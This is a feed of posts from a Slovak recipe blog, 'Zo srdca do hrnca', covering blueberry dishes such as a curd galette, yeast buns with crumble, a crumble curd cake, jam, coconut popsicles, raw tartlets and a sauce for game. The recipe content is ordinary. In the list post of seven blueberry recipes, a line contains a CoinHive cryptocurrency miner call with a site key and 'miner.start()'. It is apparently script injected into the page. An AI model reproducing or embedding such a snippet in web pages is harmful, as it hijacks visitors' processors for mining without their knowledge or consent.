Cesto na galetku robím z múky, masla, cukru a trošky vody. Vajíčko dávam len na potretie okrajov, v ceste nemusí byť. Galetke veľmi svedčí aj celozrnná múka, pokojne časť klasickej múky nahraďte tou, alebo napríklad mandľovou. A čo sa týka masla, polovicu môžete nahradiť jogurtom, ako som to urobila ja. Cesto má stále dobrú konzistenciu, je ale o čosi ľahšie.

A samozrejme aj s ovocím sa môžete vyhrať a nakombinovať podľa sezóny. Verím, že vám táto galetka zachutí!

Galetka s tvarohom a čučoriedkami

1 veľká alebo 2 menšie galetky 

Cesto:

• 200 g hladkej múky (časť múky môžno nahradiť celozrnou)
• 130 g studeného masla (alebo 70 g masla + 60 g bieleho jogurtu)
• 1 lyžica cukru
• podľa potreby pár lyžíc studenej vody

Tvarohová náplň:

• 250 g hrudkovitého tvarohu
• 2-3 PL cukru
• 1 PL kukuričného škrobu (zlatý klas)
• 1 rozšľahané vajce (trochu nechať na potretie)

Čučoriedková náplň:

• 350-400 g čučoriedkok
• 1 PL kukuričného škrobu (zlatý klas)
• 2 PL cukru (alebo podľa chuti)

Postup:

Suroviny na cesto spolu krátko prehnetieme a odložíme na hodinu do chladničky. 
Tvaroh vymiešame s cukrom, zlatým klasom a rozšľahaným vajíčkom (trochu vajíčka si necháme na potretie koláča). 
Čučoriedky zmiešame s cukrom a zlatým klasom.

Odstáte cesto môžeme rozdeliť na 2 časti (alebo necháme vcelku pre 1 veľkú galetku). Rozvaľkáme na hrúbku asi 0,5 cm. Rozložíme ochutený tvaroh, navrch čučoriedky a okraje necháme voľné asi 5 cm. Okraje prehneme a potrieme zvyškom rozšľahaného vajíčka. 

Pečieme pri 180 st.C asi 35-40 minút dozlata. 
Necháme celkom vychladnúť, až nakrájame. Dobrú chuť!

Ak vyskúšate galetku s tvarohom a čučoriedkami podľa môjho receptu, podeľte sa o to v komentároch!

Ela

Príspevok Galetka s tvarohom a čučoriedkami zobrazený najskôr Zo srdca do hrnca.

Ak máte tiež radi kysnuté koláče, upečte si tentokrát tieto tvarohové. Sú to vlastne také moravské koláče, naplniť ich môžete aj makom. Recept na kysnuté cesto je dosť univerzálne. Využijete ho aj na buchty, slimáky, šatôčky, na čo máte chuť. Koláče sú chutné aj na druhý deň, ak ich však nestihnete zjesť, môžete ich po upečení zamraziť. Len ich najprv nechajte dobre vychladnúť. Ja to robím často a potom po jednom vyťahujem, keď mám chuť a práve nie je nič napečené.

Pečené buchty s rôznymi náplňami nájdete v tomto recepte.

Pri pečení kysnutých koláčov s posýpkou vám možno pomôže aj moje video:

Kysnuté koláče s tvarohom, čučoriedkami a posýpkou

Univerzálne kysnuté cesto:

• 500 g hladkej múky
• 330 ml vlažného plnotučného mlieka
• 2 žĺtky
• 1/2 ČL soli
• 2 PL cukru
• 1 balenie sušeného droždia
• 50 g rozpusteného masla

Tvarohová náplň:

• 500 g hrudkovitého tvarohu
• 1 malé vajce
• 4 PL práškového cukru
• trochu pravej vanilky
• citrónová kôra
• 200 g čučoriedok

Posýpka:

• 50 g masla
• 5 PL hrubej múky 
• 4-5 PL kryštálového cukru

+ zvyšné bielko na potretie koláčov

Preosejeme múku. Zmiešame všetky suroviny na cesto. Rukou alebo mixérom vymiesime hladké kompaktné cesto, ktoré sa odlepuje od stien misy. Trvá to asi 10-15 minút. Cesto necháme vykysnúť, kým zdvojnásobí objem (cca 45-60 minút). 

Medzitým si pripravíme posýpku a odložíme bokom.

V mise zmiešame suroviny na tvarohovú náplň (okrem čučoriedok). 

Rúru si zapneme na 200 st.C

Vykysnuté cesto rozvaľkáme na pomúčenej doske na hrúbku asi 1 cm. Malým pohárom vykrajujeme krúžky. V každom krúžku spravíme priehlbinku. Plníme lyžicou tvarohu, navrch uložíme čučoriedky. 

Štedro posypeme posýpkou. Potrieme bielkom. Koláče necháme ešte 10-15 min. podkysnúť. 

Pečieme vo vopred vyhriatej rúre na 200 st.C 15-18 min dozlata. 

Ak vyskúšate tieto kysnuté koláče podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Kysnuté koláče s tvarohom, čučoriedkami a posýpkou zobrazený najskôr Zo srdca do hrnca.

1. Mrveničkový koláč s tvarohom a čučoriedkami

Moja obľúbená kombinácia, po upečení je chrumkavý, na druhý deň vláčny, každý si príde na svoje.

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Mrveničkový koláč s tvarohom a čučoriedkami

2. Čučoriedkový džem

Vytunila som super džem len z ovocia a cukru. V recepte nájdete môj zaručený postup, ako zachovať chuť a nestratiť farbu.

Čučoriedkový džem

3. Kysnutý čučoriedkový koláč s posýpkou (+ kváskový variant)

Kto by nemiloval kysnuté koláče? Kváskové či z droždia, z plechu miznú ešte teplé :)

Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku)

4. Čučoriedkové nanuky /vegan/

Hit našich letných dní, keď je veľa ovocia, aj veľa stupňov.

Domáce nanuky

5. RAW koláčiky s čučoriedkami

Osviežujúce a ľahké koláčiky bez pečenia.

Čučoriedkové raw koláčiky

6. Famózna mrazená čučoriedková torta

Ďalší tip na horúce dni, táto torta má perfektnú chuť aj konzistenciu. Recept mám od Silvie Horeckej a celkom sa u nás udomácnil :)

7. Omáčka k divine

Sladkokyslá chuť omáčky pekne dopĺňa divinu, trochu sa vyhráte a domácou omáčkou zabodujete.

Čučoriedková omáčka k divine

Ak vyskúšate niektorý z mojich čučoriedkových receptov, podeľte sa o to na FB Zo srdca do hrnca alebo na Instagrame s hashtagom #zosrdcadohrnca … a pokojne aj tu v komentároch! :-)

Príspevok 7 čučoriedkových receptov na koláče, džem aj omáčku zobrazený najskôr Zo srdca do hrnca.

Kysnutý čučoriedkový koláč /z kvasníc = z droždia/:

/na 1 plech/

• 300 g polohrubej múky
• 1/3 čerstvého droždia
• 1 žĺtko
• 150 ml mlieka
• 1 PL cukru (alebo viac podľa chuti)
• 2 PL oleja
• 30 g masla
• štipka soli

+ 300 g čučoriedok

+ Posýpka: 2 PL hrubej múky + 1 PL masla +  kryštálový cukor

+ vajíčko na potretie

Droždie rozmiešame v teplom mlieku s trochou cukru, necháme 15 min. vzísť kvások. Všetky suroviny na cesto zmiešame a rukou (alebo mixérom) uhnetieme pružné cesto. Podľa potreby môžeme dosypať trochu múky, ale cesto by malo byť trochu redšie. Necháme hodinu vykysnúť, kým zdvojnásobí objem. Rozvaľkáme na podložke na veľkosť plechu (klasický veľký plech). Prenesieme na plech vymastený maslom. Navrch poukladáme čučoriedky, od okraja necháme 2 cm voľné. Na posýpku prstami zmiešame múku s maslom a cukrom, kým je drobivá, podľa potreby pridáme maslo ak je veľmi suchá, alebo trochu múky, ak sa nedrobí. Posýpku prstami rozdrobíme na koláč. Pečieme pri 175 st. C cca 15-20 minút.

Kváskový čučoriedkový koláč:

/na 1 plech/

• 100 g rozkvasu (špaldového alebo pšeničného)
• 250 g polohrubej múky
• 100 ml mlieka
• 1 žĺtko
• 1 PL cukru (alebo viac podľa chuti)
• 2 PL oleja
• 300 g čučoriedok + posýpka ako vyššie
• vajíčko na potretie okrajov

Všetky suroviny na cesto vymiesime na pružné cesto. Odložíme do chladničky cez noc, resp. na 6-8 hodín. Po vybratí z chladničky preložíme a necháme pri izbovej teplote ešte 2-3 hodiny. Zľahka prehnetieme, rozvaľkáme na veľkosť plechu a posypeme čučoriedkami a posýpkou. Necháme kysnúť ešte hodinu. Rúru predhrejeme na 200 st. C. Pečieme pri 175 st. C približne 15-20 minút.

Ak vyskúšate čučoriedkový koláč s posýpkou podľa môjho receptu, podeľte sa o to v komentároch,

Ela

Príspevok Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku) zobrazený najskôr Zo srdca do hrnca.

Na čučoriedkové raw koláčiky potrebujete:

na základ –

• 35 g datlí (asi 4-5ks) namočiť minimálne na 1 hodinu
• 90 g lieskových orieškov
• 2 PL kokosového oleja

• 150 g kešu orechov namočiť cez noc
• 1/2 hrnčeka kokosového oleja
• javorový sirup podľa chuti
• 2 PL strúhaného kokosu
• 100 g čučoriedok

Príspevok Čučoriedkové raw koláčiky zobrazený najskôr Zo srdca do hrnca.

Na kilo čučoriedok som dala 300 g cukru, moje čučoriedky boli sladké. Ak máte menej sladké ovocie, môžete cukru pridať. Ja veľmi presladené nemusím. Z kila ovocia som zavarila 7 ks 1,5 dcl fľašiek.

Výbornou fintou na chutný džem je staré známe presýpanie ovocia cukrom. Očistené nakrájané ovocie na vrstvy zasypeme cukrom a necháme postáť cez noc, ideálne 24 hodín, cukor sa rozpustí. Z takto spracovaného ovocia bude džem viac „šťavnatý“ a získa krajšiu farbu, ako keď by ste priamo uvarili ovocie s cukrom.

Na čučoriedkový džem potrebujeme:

• 1 kg čučoriedok
• 300-500 g cukru

1. Zrelé čučoriedky dôkladne očistíme od nečistôt a umyjeme. Rukami ich popučíme a na vrstvy zasypeme cukrom. Necháme v chladničke postáť 12-24 hodín, cukor sa postupne rozpustí.
2. Ponorným mixérom rozmixujeme čučoriedky, môžeme nechať aj celé kúsky.
3. Postupne na panvici varíme po 1-2 naberačky čučoriedkovej hmoty.
4. Miešame vareškou, džem mení farbu zo svetlejšej na tmavofialovú. Hotový je, keď zhustne a ostáva po prejdení vareškou cestička (že na chvíľu vidno dno panvice). Mne to trvalo cca 3-4 minúty. Ak si nie ste istí hustotou, kvapnite trochu džemu na tanier. Hneď vychladne a viete odhadnúť konzistenciu.
5. Horúci džem plníme do suchých čistých fliaš.
6. Otočíme dole viečkom, prikryjeme dekou a necháme celkom vychladnúť.

Z jedného kila ovocia som naplnila sedem fľaštičiek s objemom 150 ml.

Ak vyskúšate čučoriedkový džem podľa môjho receptu, podeľte sa o to v komentároch! :-)

Ela

Príspevok Čučoriedkový džem zobrazený najskôr Zo srdca do hrnca.

Inšpirovala ma Marcelka z blogu Pradobroty, recept som si upravila podľa seba, pridala trochu iných múk a ubrala som cukor. Pôvodný recept tu: http://www.pradobroty.cz/2012/07/drobenkovy-tvarohovy-kolac-s-boruvkami.html

Koláčik sa trochu podobá na strúhaný tvarohový, ktorý na mojom blogu nájdete tiež… áno priznávam, som tvaroholik :D

Mrveničkový koláč s tvarohom a čučoriedkami

– recept je na malý plech 20×30 cm (na klasický plech si suroviny zdvojnásobte)

Mrveničkové cesto:

• 225 g polohrubej múky ( použila som 150 g polohrubej špaldovej + 50 g mandľovej + 25 g ovsenej múky)
• 100 g zmäknutého masla
• 60 g trstinového cukru
• 1/2 ČL prášku do pečiva (vínny kameň)
• štipka vanilky

Tvarohová plnka:

• 250 g tučného tvarohu
• 1 vajce
• 1/2 KL vanilky
• 45 g trstinového cukru

+ 250 g čučoriedok (alebo iné drobné ovocie)

V mise zmiešame múky s cukrom, práškom do pečiva, vanilkou a zmäknutým maslom. Vznikne sypká mrvenička. V druhej mise zmiešame všetky suroviny na tvarohovú plnku. Plech na pečenie vymažeme maslom a vysypeme hrubou múkou alebo krupicou. Vsypeme 2/3 mrveničkového cesta, na ktoré vysypeme čučoriedky. Zalejeme tvarohovou plnkou. Navrch dáme zvyšnú mrveničku. Pečieme 45 minút pri 180 st. C (ak pečiete z dvojitej dávky, treba piecť cca o 10 minút dlhšie).

Príspevok Mrveničkový koláč s tvarohom a čučoriedkami zobrazený najskôr Zo srdca do hrnca.

Ak potrebujete okamžité schladenie a máte v mrazničke trochu mrazeného ovocia, urobte si túto rýchlu a zdravú domácu zmrzlinu ;-)

Na domáce nanuky potrebujeme:

/na 6 nanukov – plnila som do formičiek z Ikey, objem jednej cca 60 ml/

• 200 ml hustého kokosového mlieka (z konzervy odoberte vrchnú časť)
• 4 hrste ovocia (dala som čučoriedky a tayberry)
• 1,5 lyžice javorového sirupu

Kokosové mlieko zmiešame s javorovým sirupom. Ovocie roztlačíme vidličkou, alebo krátko tyčovým mixérom a zmiešame s kokosovým mliekom. Ak chcete mať náznak mramorovania, nechajte si časť čistého kokosového mlieka a vrstvy striedajte. Do formičiek lejeme na striedačku väčšiu časť ovocného kokosového mlieka a menšiu časť bieleho, ponoríme paličky a necháme stuhnúť v mrazničke cca 5 hodín, ideálne cez noc.

Ak vyskúšate domáce nanuky podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Domáce nanuky zobrazený najskôr Zo srdca do hrnca.

Pripravovala som jednoduché pečené stehno zo srnca s opekanými zemiakmi a žiadala sa mi omáčka k divine, ktorá podčiarkne chuť mäsa. Ak podávate divinu s červeným vínom, môžete v recepte odporučené brandy nahradiť práve trochou suchého červeného vína.

Omáčka k divine:

• 100 g masla
• 1 cibuľa, stredne veľká
• 1 ČL trstinového cukru
• 1/2 štamprlíka brandy
• 1 čučoriedkový kompót
• 2 PL pikantného džemu (napr. ríbezľový)
• výpek z diviny
• soľ

Postup

1. V rajnici rozpustíme maslo, na ktorom speníme nadrobno pokrájanú cibuľu.
2. K popraženej cibuľke pridáme trstinový cukor, štipku soli.
3. Pridáme pár kvapiek brandy, premiešame a necháme prevrieť.
4. Zavárané čučoriedky zlejeme a bez šťavy pridáme ku skaramelizovanej cibuli.
5. Podlejeme výpekom z diviny a na miernom ohni necháme odpariť nadbytočnú tekutinu.
6. Nakoniec pridáme dve lyžice ostrého džemu a premiešame.

Aké sú vaše naobľúbenejšie prílohy a omáčky k divine?

Hľadáte recept na dobré pečené mäso? Pripravte si pomaly pečenú divinu s mrkvovými haluškami.

Ak vyskúšate čučoriedkovú omáčku k divine, podeľte sa o to v komentároch.

Ela

Príspevok Čučoriedková omáčka k divine zobrazený najskôr Zo srdca do hrnca.